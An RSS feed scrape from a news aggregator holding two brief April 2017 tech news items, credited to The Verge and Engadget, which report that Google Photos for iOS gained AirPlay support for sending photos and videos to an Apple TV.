Google Photos now lets you send images to your TV using AirPlay https://briefnews.eu/google-photos-now-lets-you-send-images-to-your-tv-using-airplay/ https://briefnews.eu/google-photos-now-lets-you-send-images-to-your-tv-using-airplay/#respond Tue, 25 Apr 2017 00:00:53 +0000 http://briefnews.eu/google-photos-now-lets-you-send-images-to-your-tv-using-airplay/

The most recent update to Google Photos’ iOS app now lets you send images from an iPhone to your TV, so long as you have an Apple TV streaming box hooked up. The update, out today, uses AirPlay to transmit the images, letting you browse on the Google Photos app and choose which ones you’d like to beam to the big screen.

It’s not a super groundbreaking update, yet it is the kind of cross-platform functionality you’d imagine would have existed already and inexplicably did not. Given Google’s expertise in developing top-class software for the iPhone — if you haven’t tried Motion Stills, do so now — it’s a bit of a mystery what took so long for AirPlay streaming to come to Google Photos. But as they say, better late than never.

The Verge – All Posts

]]>
https://briefnews.eu/google-photos-now-lets-you-send-images-to-your-tv-using-airplay/feed/ 0
Google Photos for iOS beams images to your TV with AirPlay https://briefnews.eu/google-photos-for-ios-beams-images-to-your-tv-with-airplay/ https://briefnews.eu/google-photos-for-ios-beams-images-to-your-tv-with-airplay/#respond Mon, 24 Apr 2017 22:14:13 +0000 http://briefnews.eu/google-photos-for-ios-beams-images-to-your-tv-with-airplay/

Google has been improving its Photos app for a while now, adding features like automatic white balance, compensation for wobbly video, social photo editing tools and even improving Apple’s own Live Photos. The one thing it’s been missing, however, is the ability to send your photos and videos to an Apple TV right from the app using AirPlay. That’s been remedied, though, with a new update that’s available to download right now from the App Store.

The Google Photos service and app came out in May 2015. Why it’s taken this long to be able to get those photos and videos to our big screen is beyond us. Sharing vacation videos and photos with a group of buddies is a ton of fun with AirPlay, and now you don’t have to leave the Google app to do so. If you’ve been waiting to go all-in with Google’s system for your visual media, it just might be time to do so.

Source: iTunes App Store

Engadget RSS Feed

]]>
https://briefnews.eu/google-photos-for-ios-beams-images-to-your-tv-with-airplay/feed/ 0